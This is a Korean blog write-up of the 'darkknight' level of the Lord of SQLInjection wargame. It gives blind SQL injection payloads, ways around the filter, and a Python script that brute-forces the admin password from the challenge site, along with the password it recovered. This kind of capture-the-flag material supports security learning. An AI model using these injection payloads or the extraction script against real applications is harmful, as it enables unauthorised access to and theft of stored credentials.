-
[LOS] darkknightWargame/Lord of SQLInjection 2019. 7. 5. 02:29
[darkknight] https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php
admin의 pw를 알아내는 Blind SQL Injection 문제이다.
no의 값이 Injection point이다.
[ ' 우회 ]
", `, hex, binary, char()
[ ascii() 우회 ]
ord()?no=0 or true
?no=0 or length(pw) like 8
?no=0 or id like "admin" and true로 해야하는 줄 알았으나,
length(pw)=8을 해보면 'Hello admin'이 출력된다.
데이터베이스에 guest의 no가 높아 true 일때는 guest가 출력되는 것 같고,
admin의 pw와 guest의 pw가 다르기 때문에
guest의 pw이면 'Hello guest'가, admin의 pw이면 'Hello admin'이 출력되는 것 같다.
따라서, 'Hello admin'으로 판단하면 admin의 pw를 구할 수 있을 것이다.
1. pw 길이
?pw=' || length(pw) < n#
?pw=' || length(pw) like n#
2. pw 값
?no=0 || pw like "a%"
?no=0 || right(left(pw, n), 1) like “[0 - 9], [a - z]"
?no=0 || mid(pw, n, 1) like “[0 - 9], [a - z]”
?no=0 || ord(right(left(pw, n), 1)) like 97
?no=0 || ord(mid(pw, n, 1)) like 97python을 이용하여 pw를 찾아보았다.
[ 소스 코드 ]
#!/usr/bin/env python # -*- coding: utf8 -*- import requests headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'} url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" string = "1234567890abcdefghijklmnopqrstuvwxyz" pw = '' len = 1 while True: data = "?no=0 or length(pw) < " + str(len) r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : break len += 1 print "[+] Get Password Length : ", len - 1 for i in range(1, len + 1): for j in range(48, 123): if 58 <= j <= 96: continue data = "?no=0 || ord(right(left(pw," + str(i) + "), 1)) like " + str(j) r = requests.get(url + data, headers = headers) if r.text.find('Hello admin') != -1 : pw = pw + chr(j) print "[*] Finding ... : ",pw break print "[+] Found Password : ", pw
[ 실행 결과 ]
pw : 0b70ea1f
?pw=0b70ea1f
아까 예상했던것이 맞는지 guest의 pw도 찾아보았다.
guest의 pw 길이는 20이다.
guest의 pw는 'dfjiasjf34567jil35422'이다.
guest의 pw도 찾아지는 것을 보니 아까 예상했던 것이 맞는 것 같다.
위와 같이 id="admin" 없이 찾아도 올바른 값이 찾아지지만,
혹시라도 admin pw의 4번째 문자와 guest pw의 4번째 문자가 같으면
'Hello guest'가 출력되어 올바른 pw를 찾을 수 없다.
따라서,
?no=0 or id like "admin" and ord(right(left(pw, n), 1)) like 97
같은 구문을 이용하는 것이 더 정확하다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
[LOS] giant (0) 2019.07.05 [LOS] bugbear (0) 2019.07.05 [LOS] golem (0) 2019.07.05 [LOS] skeleton (0) 2019.07.05 [LOS] vampire (0) 2019.07.05 댓글